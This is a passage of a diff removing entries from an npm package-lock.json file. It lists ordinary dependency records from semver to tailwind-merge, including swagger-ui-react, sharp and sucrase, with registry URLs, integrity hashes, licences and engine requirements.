- "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
- "license": "ISC",
- "bin": {
- "semver": "bin/semver.js"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/serialize-error": {
- "version": "8.1.0",
- "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-8.1.0.tgz",
- "integrity": "sha512-3NnuWfM6vBYoy5gZFvHiYsVbafvI9vZv/+jlIigFn4oP4zjNPK3LhcY0xSCgeb1a5L8jO71Mit9LlNoi2UfDDQ==",
- "license": "MIT",
- "dependencies": {
- "type-fest": "^0.20.2"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/set-function-length": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
- "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/set-function-name": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
- "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-errors": "^1.3.0",
- "functions-have-names": "^1.2.3",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/sha.js": {
- "version": "2.4.12",
- "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
- "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
- "license": "(MIT AND BSD-3-Clause)",
- "dependencies": {
- "inherits": "^2.0.4",
- "safe-buffer": "^5.2.1",
- "to-buffer": "^1.2.0"
- },
- "bin": {
- "sha.js": "bin.js"
- },
- "engines": {
- "node": ">= 0.10"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/sharp": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz",
- "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==",
- "hasInstallScript": true,
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@img/colour": "^1.0.0",
- "detect-libc": "^2.1.2",
- "semver": "^7.7.3"
- },
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-darwin-arm64": "0.34.5",
- "@img/sharp-darwin-x64": "0.34.5",
- "@img/sharp-libvips-darwin-arm64": "1.2.4",
- "@img/sharp-libvips-darwin-x64": "1.2.4",
- "@img/sharp-libvips-linux-arm": "1.2.4",
- "@img/sharp-libvips-linux-arm64": "1.2.4",
- "@img/sharp-libvips-linux-ppc64": "1.2.4",
- "@img/sharp-libvips-linux-riscv64": "1.2.4",
- "@img/sharp-libvips-linux-s390x": "1.2.4",
- "@img/sharp-libvips-linux-x64": "1.2.4",
- "@img/sharp-libvips-linuxmusl-arm64": "1.2.4",
- "@img/sharp-libvips-linuxmusl-x64": "1.2.4",
- "@img/sharp-linux-arm": "0.34.5",
- "@img/sharp-linux-arm64": "0.34.5",
- "@img/sharp-linux-ppc64": "0.34.5",
- "@img/sharp-linux-riscv64": "0.34.5",
- "@img/sharp-linux-s390x": "0.34.5",
- "@img/sharp-linux-x64": "0.34.5",
- "@img/sharp-linuxmusl-arm64": "0.34.5",
- "@img/sharp-linuxmusl-x64": "0.34.5",
- "@img/sharp-wasm32": "0.34.5",
- "@img/sharp-win32-arm64": "0.34.5",
- "@img/sharp-win32-ia32": "0.34.5",
- "@img/sharp-win32-x64": "0.34.5"
- }
- },
- "node_modules/shebang-command": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
- "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
- "dependencies": {
- "shebang-regex": "^3.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/shebang-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
- "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/short-unique-id": {
- "version": "5.3.2",
- "resolved": "https://registry.npmjs.org/short-unique-id/-/short-unique-id-5.3.2.tgz",
- "integrity": "sha512-KRT/hufMSxXKEDSQujfVE0Faa/kZ51ihUcZQAcmP04t00DvPj7Ox5anHke1sJYUtzSuiT/Y5uyzg/W7bBEGhCg==",
- "license": "Apache-2.0",
- "bin": {
- "short-unique-id": "bin/short-unique-id",
- "suid": "bin/short-unique-id"
- }
- },
- "node_modules/side-channel": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
- "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
- "dependencies": {
- "es-errors": "^1.3.0",
- "object-inspect": "^1.13.3",
- "side-channel-list": "^1.0.0",
- "side-channel-map": "^1.0.1",
- "side-channel-weakmap": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/side-channel-list": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
- "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
- "dependencies": {
- "es-errors": "^1.3.0",
- "object-inspect": "^1.13.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/side-channel-map": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
- "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.5",
- "object-inspect": "^1.13.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/side-channel-weakmap": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
- "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.5",
- "object-inspect": "^1.13.3",
- "side-channel-map": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/signal-exit": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
- "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/slash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/sonner": {
- "version": "1.7.1",
- "resolved": "https://registry.npmjs.org/sonner/-/sonner-1.7.1.tgz",
- "integrity": "sha512-b6LHBfH32SoVasRFECrdY8p8s7hXPDn3OHUFbZZbiB1ctLS9Gdh6rpX2dVrpQA0kiL5jcRzDDldwwLkSKk3+QQ==",
- "peerDependencies": {
- "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc",
- "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/source-map": {
- "version": "0.7.4",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
- "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/source-map-js": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
- "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/space-separated-tokens": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz",
- "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/sprintf-js": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
- "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
- "license": "BSD-3-Clause"
- },
- "node_modules/stable-hash": {
- "version": "0.0.4",
- "resolved": "https://registry.npmjs.org/stable-hash/-/stable-hash-0.0.4.tgz",
- "integrity": "sha512-LjdcbuBeLcdETCrPn9i8AYAZ1eCtu4ECAWtP7UleOiZ9LzVxRzzUZEoZ8zB24nhkQnDWyET0I+3sWokSDS3E7g=="
- },
- "node_modules/string-width": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
- "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
- "dependencies": {
- "eastasianwidth": "^0.2.0",
- "emoji-regex": "^9.2.2",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/string-width-cjs": {
- "name": "string-width",
- "version": "4.2.3",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
- "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string-width-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
- },
- "node_modules/string-width/node_modules/ansi-regex": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
- "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-regex?sponsor=1"
- }
- },
- "node_modules/string-width/node_modules/strip-ansi": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
- "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
- "dependencies": {
- "ansi-regex": "^6.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/strip-ansi?sponsor=1"
- }
- },
- "node_modules/string.prototype.includes": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz",
- "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.3"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/string.prototype.matchall": {
- "version": "4.0.11",
- "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.11.tgz",
- "integrity": "sha512-NUdh0aDavY2og7IbBPenWqR9exH+E26Sv8e0/eTe1tltDGZL+GtBkDAnnyBtmekfK6/Dq3MkcGtzXFEd1LQrtg==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.0.1",
- "has-symbols": "^1.0.3",
- "internal-slot": "^1.0.7",
- "regexp.prototype.flags": "^1.5.2",
- "set-function-name": "^2.0.2",
- "side-channel": "^1.0.6"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.repeat": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz",
- "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==",
- "dependencies": {
- "define-properties": "^1.1.3",
- "es-abstract": "^1.17.5"
- }
- },
- "node_modules/string.prototype.trim": {
- "version": "1.2.10",
- "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
- "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
- "dependencies": {
- "call-bind": "^1.0.8",
- "call-bound": "^1.0.2",
- "define-data-property": "^1.1.4",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.5",
- "es-object-atoms": "^1.0.0",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.trimend": {
- "version": "1.0.9",
- "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
- "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
- "dependencies": {
- "call-bind": "^1.0.8",
- "call-bound": "^1.0.2",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.trimstart": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
- "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/stringify-entities": {
- "version": "4.0.4",
- "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz",
- "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==",
- "dependencies": {
- "character-entities-html4": "^2.0.0",
- "character-entities-legacy": "^3.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/strip-ansi": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-ansi-cjs": {
- "name": "strip-ansi",
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-bom": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
- "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/strip-json-comments": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
- "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/style-to-object": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.8.tgz",
- "integrity": "sha512-xT47I/Eo0rwJmaXC4oilDGDWLohVhR6o/xAQcPQN8q6QBuZVL8qMYL85kLmST5cPjAorwvqIA4qXTRQoYHaL6g==",
- "dependencies": {
- "inline-style-parser": "0.2.4"
- }
- },
- "node_modules/styled-jsx": {
- "version": "5.1.6",
- "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
- "integrity": "sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==",
- "dependencies": {
- "client-only": "0.0.1"
- },
- "engines": {
- "node": ">= 12.0.0"
- },
- "peerDependencies": {
- "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0"
- },
- "peerDependenciesMeta": {
- "@babel/core": {
- "optional": true
- },
- "babel-plugin-macros": {
- "optional": true
- }
- }
- },
- "node_modules/sucrase": {
- "version": "3.35.0",
- "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz",
- "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==",
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.2",
- "commander": "^4.0.0",
- "glob": "^10.3.10",
- "lines-and-columns": "^1.1.6",
- "mz": "^2.7.0",
- "pirates": "^4.0.1",
- "ts-interface-checker": "^0.1.9"
- },
- "bin": {
- "sucrase": "bin/sucrase",
- "sucrase-node": "bin/sucrase-node"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/sucrase/node_modules/brace-expansion": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
- "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/sucrase/node_modules/glob": {
- "version": "10.5.0",
- "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz",
- "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==",
- "license": "ISC",
- "dependencies": {
- "foreground-child": "^3.1.0",
- "jackspeak": "^3.1.2",
- "minimatch": "^9.0.4",
- "minipass": "^7.1.2",
- "package-json-from-dist": "^1.0.0",
- "path-scurry": "^1.11.1"
- },
- "bin": {
- "glob": "dist/esm/bin.mjs"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/sucrase/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/supports-color": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/supports-preserve-symlinks-flag": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
- "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/swagger-client": {
- "version": "3.36.0",
- "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.36.0.tgz",
- "integrity": "sha512-9fkjxGHXuKy20jj8zwE6RwgFSOGKAyOD5U7aKgW/+/futtHZHOdZeqiEkb97sptk2rdBv7FEiUQDNlWZR186RA==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.22.15",
- "@scarf/scarf": "=1.4.0",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-json-pointer": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
- "@swagger-api/apidom-reference": "^1.0.0-rc.1",
- "@swaggerexpert/cookie": "^2.0.2",
- "deepmerge": "~4.3.0",
- "fast-json-patch": "^3.0.0-1",
- "js-yaml": "^4.1.0",
- "neotraverse": "=0.6.18",
- "node-abort-controller": "^3.1.1",
- "node-fetch-commonjs": "^3.3.2",
- "openapi-path-templating": "^2.2.1",
- "openapi-server-url-templating": "^1.3.0",
- "ramda": "^0.30.1",
- "ramda-adjunct": "^5.1.0"
- }
- },
- "node_modules/swagger-ui-react": {
- "version": "5.30.3",
- "resolved": "https://registry.npmjs.org/swagger-ui-react/-/swagger-ui-react-5.30.3.tgz",
- "integrity": "sha512-QIy32nPql6yiV2NVwbww1P7f6HEOAuYrnk8VEJkzPC/p6Xc5Xnz9hhmSHzXTuM70fDbVw/qPzCJ0mZMMultpiw==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.27.1",
- "@scarf/scarf": "=1.4.0",
- "base64-js": "^1.5.1",
- "buffer": "^6.0.3",
- "classnames": "^2.5.1",
- "css.escape": "1.5.1",
- "deep-extend": "0.6.0",
- "dompurify": "=3.2.6",
- "ieee754": "^1.2.1",
- "immutable": "^3.x.x",
- "js-file-download": "^0.4.12",
- "js-yaml": "=4.1.1",
- "lodash": "^4.17.21",
- "prop-types": "^15.8.1",
- "randexp": "^0.5.3",
- "randombytes": "^2.1.0",
- "react-copy-to-clipboard": "5.1.0",
- "react-debounce-input": "=3.3.0",
- "react-immutable-proptypes": "2.2.0",
- "react-immutable-pure-component": "^2.2.0",
- "react-inspector": "^6.0.1",
- "react-redux": "^9.2.0",
- "react-syntax-highlighter": "^16.0.0",
- "redux": "^5.0.1",
- "redux-immutable": "^4.0.0",
- "remarkable": "^2.0.1",
- "reselect": "^5.1.1",
- "serialize-error": "^8.1.0",
- "sha.js": "^2.4.12",
- "swagger-client": "^3.36.0",
- "url-parse": "^1.5.10",
- "xml": "=1.0.1",
- "xml-but-prettier": "^1.0.1",
- "zenscroll": "^4.0.2"
- },
- "peerDependencies": {
- "react": ">=16.8.0 <20",
- "react-dom": ">=16.8.0 <20"
- }
- },
- "node_modules/swagger-ui-react/node_modules/immutable": {
- "version": "3.8.2",
- "resolved": "https://registry.npmjs.org/immutable/-/immutable-3.8.2.tgz",
- "integrity": "sha512-15gZoQ38eYjEjxkorfbcgBKBL6R7T459OuK+CpcWt7O3KF4uPCx2tD0uFETlUDIyo+1789crbMhTvQBSR5yBMg==",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/swagger-ui-react/node_modules/react-syntax-highlighter": {
- "version": "16.1.0",
- "resolved": "https://registry.npmjs.org/react-syntax-highlighter/-/react-syntax-highlighter-16.1.0.tgz",
- "integrity": "sha512-E40/hBiP5rCNwkeBN1vRP+xow1X0pndinO+z3h7HLsHyjztbyjfzNWNKuAsJj+7DLam9iT4AaaOZnueCU+Nplg==",
- "license": "MIT",
- "dependencies": {
- "@babel/runtime": "^7.28.4",
- "highlight.js": "^10.4.1",
- "highlightjs-vue": "^1.0.0",
- "lowlight": "^1.17.0",
- "prismjs": "^1.30.0",
- "refractor": "^5.0.0"
- },
- "engines": {
- "node": ">= 16.20.2"
- },
- "peerDependencies": {
- "react": ">= 0.14.0"
- }
- },
- "node_modules/swagger-ui-react/node_modules/redux-immutable": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/redux-immutable/-/redux-immutable-4.0.0.tgz",
- "integrity": "sha512-SchSn/DWfGb3oAejd+1hhHx01xUoxY+V7TeK0BKqpkLKiQPVFf7DYzEaKmrEVxsWxielKfSK9/Xq66YyxgR1cg==",
- "license": "BSD-3-Clause",
- "peerDependencies": {
- "immutable": "^3.8.1 || ^4.0.0-rc.1"
- }
- },
- "node_modules/swagger-ui-react/node_modules/refractor": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/refractor/-/refractor-5.0.0.tgz",
- "integrity": "sha512-QXOrHQF5jOpjjLfiNk5GFnWhRXvxjUVnlFxkeDmewR5sXkr3iM46Zo+CnRR8B+MDVqkULW4EcLVcRBNOPXHosw==",
- "license": "MIT",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@types/prismjs": "^1.0.0",
- "hastscript": "^9.0.0",
- "parse-entities": "^4.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/tailwind-merge": {
- "version": "2.5.5",
